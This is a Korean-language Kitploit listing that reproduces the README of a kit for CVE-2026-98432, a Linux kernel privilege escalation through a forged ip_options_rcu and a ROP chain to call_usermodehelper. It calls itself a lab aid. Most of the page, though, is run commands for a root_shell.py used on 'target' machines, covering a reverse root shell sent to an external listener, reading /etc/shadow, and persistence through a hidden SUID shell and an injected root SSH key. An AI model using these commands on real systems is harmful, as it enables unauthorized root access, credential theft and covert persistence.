Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-98432-root-shell — CVE-2026-98432 실습용 루트 셸 키트 (커널 지원; 일반 원격 익스플로잇 아님) | Kitploit
도구/GitHubGitHub/thiscitze/cve-2026-98432-root-shell
Privilege EscalationVulnerability AnalysisExploitationShellcodeLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubthiscitze/cve-2026-98432-root-shell

cve-2026-98432-root-shell

CVE-2026-98432 실습용 루트 셸 키트 (커널 지원; 일반 원격 익스플로잇 아님)

저장소 보기
1132일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-98432 실습용 루트 셸 키트

이 키트는 의도적으로 취약하게 만든 Linux 6.12.112 커널을 작은 익스플로잇 지원 도구와 함께 빌드하고, CVE-2026-98432 경로를 QEMU 콘솔에서 대화형 루트 셸로 전환합니다.

이것은 실습 지원 도구이며, 일반적인 원격 익스플로잇이 아닙니다. 실제 CVE 코드 경로가 사용됩니다:

  • 위조된 ip_options_rcu가 재전송된 SYN-ACK 경로를 통해 ip_options_build()에 도달합니다;
  • SYN-ACK의 skb_shared_info가 손상됩니다;
  • skb_release_data()가 위조된 ubuf_info->ops->complete 콜백을 호출합니다;
  • ROP 체인이 call_usermodehelper("/bin/sh", ...)를 호출합니다.

지원 도구는 강제 해제/위조 객체와 준비된 콜백/ROP 체인입니다. 일반 취약 커널에서 빠진 부분은 신뢰할 수 있는 동일 슬랩/동일 CPU 재할당 및 페이로드 준비 프리미티브이며, 이는 공개되지 않았습니다. 아래 "일반 커널 상태"를 참조하십시오.

요구 사항

  • x86_64 Linux 호스트, root, 4개 이상의 코어, 10 GB 여유 디스크
  • KVM(/dev/kvm)을 강력히 권장합니다; TCG도 동작하지만 느립니다
  • Debian/Ubuntu 패키지:
sudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
    cpio qemu-system-x86 busybox-static python3 python3-pip
  • 선택 사항, 자동 가젯 해석용:
python3 -m pip install --user ROPgadget

빌드 및 부팅

cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh

첫 번째 빌드는 Linux 6.12.112를 다운로드하고, 두 개의 kfree_rcu() 호출을 되돌리고, aid를 적용하고, bzImage를 빌드하고, 패치된 vmlinux에서 심볼/가젯을 확인하고, 다시 빌드하고, initramfs를 패킹하고, nokaslr로 QEMU를 부팅합니다.

KVM을 사용할 수 없는 경우:

QEMU_ACCEL=tcg ./build.sh

(스크립트는 현재 /dev/kvm에 쓸 수 없을 때 자동으로 TCG로 폴백합니다. 편의를 위해 QEMU_ACCEL 변수를 사용할 수 있습니다.)

루트 셸 트리거

A) 랩 VM: 호스트 콘솔에서 루트 셸

호스트의 두 번째 터미널에서:

python3 trigger.py 127.0.0.1 9000

게스트 init는 콘솔 셸(sh -i </dev/console)을 사용하여 /tmp/cve98432_root.sh를 생성했습니다. 게스트 리스너에 대한 단일 TCP 연결이면 충분합니다. 게스트 콘솔에는 다음과 같은 내용이 표시되어야 합니다:

[    3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#

B) Python을 사용한 친화적 대상 서버: SSH를 통한 루트 셸

root_shell.py를 (이미 aid 커널로 부팅된) 대상에 복사하고 가지고 있는 사용자로 실행하십시오:

python3 root_shell.py

/tmp/cve98432_root.sh에 root 리버스 셸 페이로드를 작성하고, 두 개의 루프백 리스너(트리거용 9000, 셸용 4444)를 시작하며, aid를 트리거하고, root 셸을 터미널에 연결합니다:

[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#

유용한 옵션:

# check kernel/aid/ports without sending anything
python3 root_shell.py --check

# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'

# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444   on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444

# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5

호스트 유지 / 지속적 루트

aid 체인은 루트 명령이 종료된 후에만 machine_power_off()를 호출합니다. 루트 명령이 종료되지 않으면, 커널은 call_usermodehelper()에서 대기하고 호스트는 계속 유지됩니다. 이를 통해 지속적 루트 경로를 만들 수 있습니다:

# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
  'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'

# after the client returns
/var/tmp/.rootsh -p

또는 SSH 키를 추가하고 헬퍼를 활성 상태로 유지합니다:

python3 root_shell.py --command \
  'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'

sleep은 usermode helper(따라서 커널 체인)를 계속 살아 있게 유지하므로, 대상은 전원이 꺼지지 않습니다. /tmp가 noexec/nosuid로 마운트되어 있다면 /tmp 대신 /var/tmp 또는 /root를 사용하십시오. sleep이 끝나면 체인이 재개되어 호스트의 전원을 끕니다. 이를 제어하려면 root 권한으로 sleep 프로세스를 종료하십시오.

페이로드 파일은 0700 및 O_EXCL|O_NOFOLLOW로 생성되며, --keep-payload가 주어지지 않는 한 사용 후 제거됩니다. root 셸을 종료하면 aid 체인이 machine_power_off()를 호출합니다. 일회용 VM을 사용하거나, 호스트가 계속 켜져 있어야 한다면 aid_patch.py의 AID_POWEROFF를 편집하십시오.

체인은 다음을 실행합니다:

call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)

따라서 스크립트는 항상 root로 실행된다.

실제인 것과 보조 장치인 것

구성 요소상태
위조된 ip_options_rcu + ip_options_build()CVE 경로이지만, 할당은 보조 장치에 의해 강제됨
skb_shared_info 손상보조 장치가 tcp_v4_send_synack()에서 필드를 직접 설정함
destructor_arg 콜백 하이재킹실제 다운스트림 해제 경로
ROP 피벗 + call_usermodehelper()실제 커널 제어 흐름 하이재킹이며, 보조 장치에 의해 준비됨
nokaslr 부팅실험실 단순화; KASLR 누출 불필요

이 키트가 따르는 공개된 독립 연구는 계측된 커널로 동일한 지점에 도달했다: 실제 OOB 쓰기 및 콜백 경로, 보조된 free/reclaim 및 페이로드 준비. 2026-11-02 기준으로 순정 커널에서 무기화된 체인은 공개적으로 이용 가능하지 않다.

심볼과 가젯

게스트가 nokaslr로 부팅되기 때문에 보조 장치는 절대 커널 주소를 사용한다. aid_patch.py의 값은 공개된 6.12.112 실험실 빌드의 기본값이다. resolve.py는 패치된 vmlinux와 System.map을 읽고 symbols.json을 작성하며, 그런 다음 build.sh가 정의를 업데이트하고 다시 빌드한다.

resolve.py가 가젯을 찾을 수 없는 경우(ROPgadget 누락 또는 불완전), 설치하고 다시 실행하라:

python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage

피벗 가젯은 aid_patch.py의 체인 레이아웃과 일치해야 합니다: lea -0x18(%rbp), %rsp에 네 번의 pop과 ret/jmp가 뒤따르는 형태입니다. 빌드에 다른 피벗이 있다면 aid_patch.py의 SEND_BLOCK을 조정하거나 일치하는 가젯을 선택하십시오.

스톡 커널 상태

취약한 스톡 커널에는 신뢰할 수 있는, 공개된, 비보조 루트 체인이 없습니다. 걸림돌은 다음과 같습니다:

  1. 해제된 72바이트 ip_options_rcu는 free-to-build 윈도우 내에서 공격자가 제어하는 바이트를 가진 객체에 의해 재할당되어야 합니다. saved_syn 객체(TCP_SAVE_SYN)가 자연스러운 후보이지만, 독립적인 실험실 측정 결과 재할당은 보통 진행 중인 청크가 아닌 다른 옵션 블록에 발생합니다.
  2. KASLR을 위해서는 텍스트 포인터 누출이 필요합니다. 동일 타입 재할당은 외부 마커를 노출하지만 커널 텍스트 포인터는 노출하지 않습니다.
  3. srr/rr/ts 저장은 skb 버퍼 근처의 오프셋에 네 개의 제어된 바이트를 제공합니다; 완전한 8바이트 destructor_arg 포인터를 쓰려면 스테일 상위 dword나 더 강력한 프리미티브가 필요합니다.

공개된 Anthropic 체인은 공개되지 않은 재할당/스테이징 프리미티브로 이 문제들을 해결합니다. 이 키트는 스톡 체인이 작동하는 척하기보다는 의도적으로 제어 흐름 시연에서 멈춥니다.

파일

파일용도
build.sh커널 + initramfs + QEMU
aid_patch.py위조 객체/콜백/ROP 보조 적용
resolve.py패치된 빌드의 심볼/가젯 해석
listener.c게스트 TCP 리스너 (accept + close)
init게스트 init 스크립트
trigger.py호스트 측 단일 연결 트리거 (콘솔 변형)
root_shell.pyPython이 있는 대상용 단일 파일 트리거 + 리버스 셸 브리지

정리

모든 것이 work/ (또는 첫 번째 인수로 전달된 디렉터리) 아래에 있습니다. 디스크 공간을 회수하려면 삭제하십시오:

rm -rf work

참고 자료

  • CVE-2026-98432: https://cveawg.mitre.org/api/cve/CVE-2026-98432
  • 업스트림 수정: e3f33b0a1d89d738e2b913dab519226eaf76e15b
  • Anthropic: https://www.anthropic.com/research/discovering-vulnerabilities-with-claude
  • 독립적인 2/3단계 연구: https://github.com/H1z3-br0/CVE-2026-98432
도구 다운로드